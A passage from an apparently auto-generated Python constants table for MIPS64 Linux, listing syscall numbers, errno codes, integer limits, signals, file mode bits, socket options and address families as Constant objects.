Constant('__NR_statx',(4000 + 366))\n__NR_rseq = Constant('__NR_rseq',(4000 + 367))\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',(4000 + 368))\n__NR_semget = Constant('__NR_semget',(4000 + 393))\n__NR_semctl = Constant('__NR_semctl',(4000 + 394))\n__NR_shmget = Constant('__NR_shmget',(4000 + 395))\n__NR_shmctl = Constant('__NR_shmctl',(4000 + 396))\n__NR_shmat = Constant('__NR_shmat',(4000 + 397))\n__NR_shmdt = Constant('__NR_shmdt',(4000 + 398))\n__NR_msgget = Constant('__NR_msgget',(4000 + 399))\n__NR_msgsnd = Constant('__NR_msgsnd',(4000 + 400))\n__NR_msgrcv = Constant('__NR_msgrcv',(4000 + 401))\n__NR_msgctl = Constant('__NR_msgctl',(4000 + 402))\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',(4000 + 403))\n__NR_clock_settime64 = Constant('__NR_clock_settime64',(4000 + 404))\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',(4000 + 405))\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',(4000 + 406))\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',(4000 + 407))\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',(4000 + 408))\n__NR_timer_settime64 = Constant('__NR_timer_settime64',(4000 + 409))\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',(4000 + 410))\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',(4000 + 411))\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',(4000 + 412))\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',(4000 + 413))\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',(4000 + 414))\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',(4000 + 416))\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',(4000 + 417))\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',(4000 + 418))\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',(4000 + 419))\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',(4000 + 420))\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',(4000 + 421))\n__NR_futex_time64 = Constant('__NR_futex_time64',(4000 + 422))\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',(4000 + 423))\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(4000 + 424))\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',(4000 + 425))\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',(4000 + 426))\n__NR_io_uring_register = Constant('__NR_io_uring_register',(4000 + 427))\n__NR_open_tree = Constant('__NR_open_tree',(4000 + 428))\n__NR_move_mount = Constant('__NR_move_mount',(4000 + 429))\n__NR_fsopen = Constant('__NR_fsopen',(4000 + 430))\n__NR_fsconfig = Constant('__NR_fsconfig',(4000 + 431))\n__NR_fsmount = Constant('__NR_fsmount',(4000 + 432))\n__NR_fspick = Constant('__NR_fspick',(4000 + 433))\n__NR_pidfd_open = Constant('__NR_pidfd_open',(4000 + 434))\n__NR_clone3 = Constant('__NR_clone3',(4000 + 435))\n__NR_openat2 = Constant('__NR_openat2',(4000 + 437))\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(4000 + 438))\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nENOMSG = Constant('ENOMSG',35)\nEIDRM = Constant('EIDRM',36)\nECHRNG = Constant('ECHRNG',37)\nEL2NSYNC = Constant('EL2NSYNC',38)\nEL3HLT = Constant('EL3HLT',39)\nEL3RST = Constant('EL3RST',40)\nELNRNG = Constant('ELNRNG',41)\nEUNATCH = Constant('EUNATCH',42)\nENOCSI = Constant('ENOCSI',43)\nEL2HLT = Constant('EL2HLT',44)\nEDEADLK = Constant('EDEADLK',45)\nENOLCK = Constant('ENOLCK',46)\nEBADE = Constant('EBADE',50)\nEBADR = Constant('EBADR',51)\nEXFULL = Constant('EXFULL',52)\nENOANO = Constant('ENOANO',53)\nEBADRQC = Constant('EBADRQC',54)\nEBADSLT = Constant('EBADSLT',55)\nEDEADLOCK = Constant('EDEADLOCK',56)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEDOTDOT = Constant('EDOTDOT',73)\nEMULTIHOP = Constant('EMULTIHOP',74)\nEBADMSG = Constant('EBADMSG',77)\nENAMETOOLONG = Constant('ENAMETOOLONG',78)\nEOVERFLOW = Constant('EOVERFLOW',79)\nENOTUNIQ = Constant('ENOTUNIQ',80)\nEBADFD = Constant('EBADFD',81)\nEREMCHG = Constant('EREMCHG',82)\nELIBACC = Constant('ELIBACC',83)\nELIBBAD = Constant('ELIBBAD',84)\nELIBSCN = Constant('ELIBSCN',85)\nELIBMAX = Constant('ELIBMAX',86)\nELIBEXEC = Constant('ELIBEXEC',87)\nEILSEQ = Constant('EILSEQ',88)\nENOSYS = Constant('ENOSYS',89)\nELOOP = Constant('ELOOP',90)\nERESTART = Constant('ERESTART',91)\nESTRPIPE = Constant('ESTRPIPE',92)\nENOTEMPTY = Constant('ENOTEMPTY',93)\nEUSERS = Constant('EUSERS',94)\nENOTSOCK = Constant('ENOTSOCK',95)\nEDESTADDRREQ = Constant('EDESTADDRREQ',96)\nEMSGSIZE = Constant('EMSGSIZE',97)\nEPROTOTYPE = Constant('EPROTOTYPE',98)\nENOPROTOOPT = Constant('ENOPROTOOPT',99)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',120)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',121)\nEOPNOTSUPP = Constant('EOPNOTSUPP',122)\nENOTSUP = Constant('ENOTSUP',122)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',123)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',124)\nEADDRINUSE = Constant('EADDRINUSE',125)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',126)\nENETDOWN = Constant('ENETDOWN',127)\nENETUNREACH = Constant('ENETUNREACH',128)\nENETRESET = Constant('ENETRESET',129)\nECONNABORTED = Constant('ECONNABORTED',130)\nECONNRESET = Constant('ECONNRESET',131)\nENOBUFS = Constant('ENOBUFS',132)\nEISCONN = Constant('EISCONN',133)\nENOTCONN = Constant('ENOTCONN',134)\nEUCLEAN = Constant('EUCLEAN',135)\nENOTNAM = Constant('ENOTNAM',137)\nENAVAIL = Constant('ENAVAIL',138)\nEISNAM = Constant('EISNAM',139)\nEREMOTEIO = Constant('EREMOTEIO',140)\nEINIT = Constant('EINIT',141)\nEREMDEV = Constant('EREMDEV',142)\nESHUTDOWN = Constant('ESHUTDOWN',143)\nETOOMANYREFS = Constant('ETOOMANYREFS',144)\nETIMEDOUT = Constant('ETIMEDOUT',145)\nECONNREFUSED = Constant('ECONNREFUSED',146)\nEHOSTDOWN = Constant('EHOSTDOWN',147)\nEHOSTUNREACH = Constant('EHOSTUNREACH',148)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nEALREADY = Constant('EALREADY',149)\nEINPROGRESS = Constant('EINPROGRESS',150)\nESTALE = Constant('ESTALE',151)\nECANCELED = Constant('ECANCELED',158)\nENOMEDIUM = Constant('ENOMEDIUM',159)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',160)\nENOKEY = Constant('ENOKEY',161)\nEKEYEXPIRED = Constant('EKEYEXPIRED',162)\nEKEYREVOKED = Constant('EKEYREVOKED',163)\nEKEYREJECTED = Constant('EKEYREJECTED',164)\nEOWNERDEAD = Constant('EOWNERDEAD',165)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',166)\nERFKILL = Constant('ERFKILL',167)\nEHWPOISON = Constant('EHWPOISON',168)\nEDQUOT = Constant('EDQUOT',1133)\n__SYS_NERR = Constant('__SYS_NERR',((168) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',64)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807)))\nINTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',128)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGEMT = Constant('SIGEMT',7)\nSIGBUS = Constant('SIGBUS',10)\nSIGSYS = Constant('SIGSYS',12)\nSIGUSR1 = Constant('SIGUSR1',16)\nSIGUSR2 = Constant('SIGUSR2',17)\nSIGCHLD = Constant('SIGCHLD',18)\nSIGPWR = Constant('SIGPWR',19)\nSIGWINCH = Constant('SIGWINCH',20)\nSIGURG = Constant('SIGURG',21)\nSIGIO = Constant('SIGIO',22)\nSIGSTOP = Constant('SIGSTOP',23)\nSIGTSTP = Constant('SIGTSTP',24)\nSIGCONT = Constant('SIGCONT',25)\nSIGTTIN = Constant('SIGTTIN',26)\nSIGTTOU = Constant('SIGTTOU',27)\nSIGVTALRM = Constant('SIGVTALRM',28)\nSIGPROF = Constant('SIGPROF',29)\nSIGXCPU = Constant('SIGXCPU',30)\nSIGXFSZ = Constant('SIGXFSZ',31)\nSIGCLD = Constant('SIGCLD',18)\nSIGPOLL = Constant('SIGPOLL',22)\nSIGLOST = Constant('SIGLOST',19)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(128-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000008)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00010000)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',1)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',2)\nSIG_SETMASK = Constant('SIG_SETMASK',3)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',0xffff)\nSO_DEBUG = Constant('SO_DEBUG',0x0001)\nSO_REUSEADDR = Constant('SO_REUSEADDR',0x0004)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008)\nSO_DONTROUTE = Constant('SO_DONTROUTE',0x0010)\nSO_BROADCAST = Constant('SO_BROADCAST',0x0020)\nSO_LINGER = Constant('SO_LINGER',0x0080)\nSO_OOBINLINE = Constant('SO_OOBINLINE',0x0100)\nSO_REUSEPORT = Constant('SO_REUSEPORT',0x0200)\nSO_TYPE = Constant('SO_TYPE',0x1008)\nSO_ERROR = Constant('SO_ERROR',0x1007)\nSO_SNDBUF = Constant('SO_SNDBUF',0x1001)\nSO_RCVBUF = Constant('SO_RCVBUF',0x1002)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_PASSCRED = Constant('SO_PASSCRED',17)\nSO_PEERCRED = Constant('SO_PEERCRED',18)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_PEERSEC = Constant('SO_PEERSEC',30)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',31)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x1009)\nSO_PROTOCOL = Constant('SO_PROTOCOL',0x1028)\nSO_DOMAIN = Constant('SO_DOMAIN',0x1029)\nSO_STYLE = Constant('SO_STYLE',0x1008)\nSOCK_DGRAM = Constant('SOCK_DGRAM',1)\nSOCK_STREAM = Constant('SOCK_STREAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = 